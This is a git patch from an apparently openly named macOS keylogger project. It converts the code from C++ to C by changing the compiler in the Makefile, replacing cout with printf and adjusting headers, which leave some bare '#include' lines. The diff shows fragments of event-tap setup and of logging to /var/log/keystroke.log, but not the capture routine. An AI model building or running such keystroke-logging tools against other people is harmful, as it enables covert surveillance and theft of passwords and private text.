From 025d2d9c6b5a7fe1a2ea7af33c198ad95ec5ecab Mon Sep 17 00:00:00 2001 From: Casey Scarborough Date: Mon, 16 Sep 2013 21:06:11 -0400 Subject: [PATCH] Change to C, as no C++ functionality is being used. --- Makefile | 4 ++-- keylogger.cpp => keylogger.c | 5 +++-- keylogger.h | 5 +---- 3 files changed, 6 insertions(+), 8 deletions(-) rename keylogger.cpp => keylogger.c (97%) diff --git a/Makefile b/Makefile index 1660a53..5345805 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ -CC=g++ +CC=gcc CFLAGS=-framework ApplicationServices -framework Carbon -SOURCES=keylogger.cpp keylogger.h +SOURCES=keylogger.c keylogger.h EXECUTABLE=keylogger INSTALLDIR=/usr/local/bin diff --git a/keylogger.cpp b/keylogger.c similarity index 97% rename from keylogger.cpp rename to keylogger.c index 5266b66..a368322 100644 --- a/keylogger.cpp +++ b/keylogger.c @@ -10,7 +10,7 @@ int main(int argc, const char *argv[]) { // Exit the program if unable to create the event tap. if(!eventTap) { - cout << "Unable to create event tap.\n" << endl; + printf("Unable to create event tap.\n"); exit(1); } @@ -28,7 +28,8 @@ int main(int argc, const char *argv[]) { fflush(logfile); // Display the location of the logfile and start the loop. - cout << "Logging to: " << logfileLocation << endl; + printf("Logging to: %s\n", logfileLocation); + fflush(stdout); CFRunLoopRun(); return 0; diff --git a/keylogger.h b/keylogger.h index 1b21813..65667e2 100644 --- a/keylogger.h +++ b/keylogger.h @@ -1,15 +1,12 @@ #ifndef __KEYLOGGER_H__ #define __KEYLOGGER_H__ -#include #include -#include +#include #include #include // https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html -using namespace std; - FILE *logfile = NULL; const char *logfileLocation = "/var/log/keystroke.log";